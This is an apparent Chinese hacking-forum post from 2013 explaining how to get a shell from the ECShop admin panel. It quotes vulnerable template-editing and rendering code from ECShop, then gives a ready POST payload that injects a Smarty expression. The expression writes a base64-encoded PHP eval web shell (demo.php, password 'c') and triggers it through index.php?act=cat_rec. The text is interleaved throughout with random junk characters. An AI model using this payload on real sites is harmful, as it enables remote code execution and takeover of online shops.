找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2539|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板6 y4 F5 m9 m9 Y7 f# l
5 |( b) _' A, }: g$ A& |
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了- n& [2 r8 y- n, {! f! W3 x  |
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
1 {- d% F$ d- W- x7 g$ Kadmin/template.php
! y  X6 @( `8 X6 r5 L
+ j$ v9 r, J% T9 E1 s  }3 l1 if ($_REQUEST['act'] == 'update_library')
7 A! ~$ z1 r, N( L- j
+ ?! i' q; D' I2   8 s# a) U* P9 ^, K0 G

8 }6 X; ?3 p1 J/ m3 {
  n; R9 L6 O4 x+ L
( l3 w, W1 |+ z* G' M4     check_authz_json('library_manage'); 7 J, s1 e0 |% S% g8 @

% W+ R% z! ?, U" c# @# M5   
9 x" p8 ^! X$ N% t- I4 N# y' M; r
8 w) D7 ?) W! |8 H; P! H) m$ Z6     $html = stripslashes(json_str_iconv($_POST['html'])); 6 A7 m; ^& z' w- }' i
  P7 R' E9 X# c6 i7 \
7   6 _# M" Y4 M5 C
  @9 ?2 T# ~. g' |. j0 i/ b, J
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 - B6 Z. x. \; q- t
$ P5 V- q5 i  L, E
9   % h5 `# V! i* P0 A' y5 t$ H9 l
( o- ^- J1 F' K1 Z9 G% h
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 % c# O3 ?& k( F% F9 O5 I* o' t

8 A" u! j# z; U( k1 S+ _7 l11   % f2 i" c& q2 U% D
. F1 ~5 O2 {3 z" X5 W; i/ \& G
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
5 r/ {7 F7 l! {1 s# T  ?$ I/ ]
5 w0 \. m; z9 d( f0 v+ |13   7 l6 H9 z' f' b

# ]' o5 E1 W9 D' N$ {  Z14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
8 p0 \( C3 e$ G7 _& g0 R" u+ A8 y
4 C  n, \! `3 d9 }8 M; p1 ]! i15     { 6 b) a  U1 [5 n4 F1 ?* k

  P& y' O" ?; p0 Z% Q' L5 L! B3 S6 t" H16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
8 |' P" n8 e/ s: F3 h
) d/ d* d( W* k1 m17         make_json_result('', $_LANG['update_lib_success']); 7 Q2 r% y0 F- `( L5 J, I0 Z

4 K$ j5 G# X. W2 Z' n* |18     }
+ h0 z3 \( p/ K+ g8 Y% D
) D* U6 Z' P( \3 R( d19     else
6 o# B' Z, i; Y7 _$ n2 k  X" d0 s: m( M* Z3 X/ h/ v$ l1 y  j
20     { * F1 u2 U9 S" _5 B9 N# p: e) G
' y8 O; ?8 g# n$ O  G) E
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ x! O* z; W; A3 ~. D: d& {5 X8 Z7 V/ Q# S# h0 |6 o
22     }   i/ r; e0 ^4 @8 Y8 @8 u

- P6 j4 X% a& W, x23 } ) s/ P, r% t4 W0 ?  A. n7 \9 {
8 P3 k: y/ Y5 |( v4 m4 A: S: \0 w
那么找个比较方便调用了模板的文件
( C9 H! j7 U7 [# J. u- f+ |index.php
2 k" Z: j6 k$ |% L( P* e" ]4 m6 A( _% ^  j4 D
1 if ($act == 'cat_rec')
3 n% B# t% E9 M# y2 q( e
& O% {  T' t& l9 w* A% t# Y2   6 G3 k; T: B8 M7 i8 X: @$ b1 R, {
" C" |0 E" f3 h3 C
3 { , l+ v- O: {9 ~& u8 r, O

' }1 n; w/ b" r& {- F4 e/ F4   ' }( D. ], e$ b0 \, f: {

0 H2 F$ U+ }3 t+ N5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); * L; B0 D$ I% R: b& c- l; l) o
# w  X7 q9 D2 h. b
6   
) N1 h; D: A1 i( g  Z* [0 ]# J! q( `! S
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; $ T9 T+ j" B! i6 w5 U! j

7 X3 ^" d8 Z) l. a' a/ S9 l9 w# O8   
( R/ y" |( T$ P2 u' v$ r- d& g: Y0 }4 N
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
" J6 Y7 ~( r4 N5 U4 m) a
7 W9 T# D! b( U3 o6 i( G. ^10   7 A" l) [* T$ z. W4 U0 x1 r7 p
, a) [" S1 [$ r  a4 _, b) q
11     include_once('includes/cls_json.php');
; O2 ~, P; B8 [$ r2 j& f$ h- ~+ F
4 D  [) a( `" i! F12   ; g2 `/ h; A9 n
( N- Z" F1 Q1 g
13     $json = new JSON; 1 Q$ a- c: l" k  j+ Q% a1 O' n/ F
. ]8 q( U8 N0 ~( l, z. L
14   3 O# X; `, Z) k

4 r! l  I1 c( X4 j15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 0 x4 a% M7 \# \& ?5 m- I
' \; b# y) Q  ]) J! n: N
16   
- Z8 @6 u4 X. e" P5 ?9 @2 u, K% E  q9 G  w' g
17     $children = get_children($cat_id); 8 I: b- U5 |4 W/ E
5 U- \: I9 M5 P: D
18   
7 B/ S! ?$ y/ V2 A& p% b3 U: G6 \
) j  A3 D' I: A: a& h19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 + q1 o# D; g6 G! a
* O1 E& V5 r/ k0 W, Q
20   
6 y/ }4 p, q( E- V9 H3 e
/ C' k; ?6 N; ^: x! P6 h' [21     $smarty->assign('cat_rec_sign', 1); 7 G6 D% R) _/ _" n- ?. _# u1 V

" t  P! I# ?" k) m! q0 i. B  i- b22   - n" E+ e) ^1 H: ^5 `
/ N! R, d! Q, C* y7 s- J1 w; H0 q
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 3 ~2 ~& J4 l( m5 q3 f  x; {9 ]
" I% i$ |+ T5 a1 z0 y4 S6 P
24   
+ U! p' ?) b( o" V4 l3 r2 J) s6 H
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 I  n$ y3 e! n+ l* t+ g
) G1 r- `; w: B( _$ |7 M
26   
( x( `/ N2 J3 d% `8 O$ {0 p. D2 N8 ~4 ^2 a" B8 k; B7 A
27         echo $rec_array[$rec_type];
$ c& Z% I+ }  t" e. ]# h0 P. |5 K8 U
" U: w, T/ {: g% h- n28   : D1 A% {9 v. C

- n6 C0 P# g+ H) s# M29     die($json->encode($result));
/ z' d' Q7 c( Y3 I7 g; L
& p0 a' t3 M' f: y1 g) B30   
* t) d/ W4 {$ T. r5 J! j3 i0 H- C: }7 {, c' t
31 } & R0 w& f/ p$ ?% X$ q! x" t5 V

* n# _2 x3 h$ U- A1 e2 [; o& a- {那么就有利用方法了
' c0 |. L% P5 Kpost包到http://localhost/ec/admin/template.php?act=update_library! X3 a  G- Y, R  N" U2 |
Post内容:
: G* D7 P) K8 ?6 W
1 p5 J$ ~3 _! H& O! k2 i* @6 A- w8 W) m8 p9 W8 \
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
0 ^" c0 q4 k! E6 g0 r* ?
; @) h$ n2 \; q: U+ s) ~8 x然后访问http://localhost/ec/index.php?act=cat_rec  j5 B5 i. p+ I# c

; K$ \0 `0 Z* ]: e2 k. ]2 \5 S. dshel地址:http://localhost/ec/demo.php
) y! a$ p; _7 A8 u" B. w密码c2 U4 _* U/ {! I6 w7 o
0 E) Y* E' y' S* y4 ?+ a1 N8 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表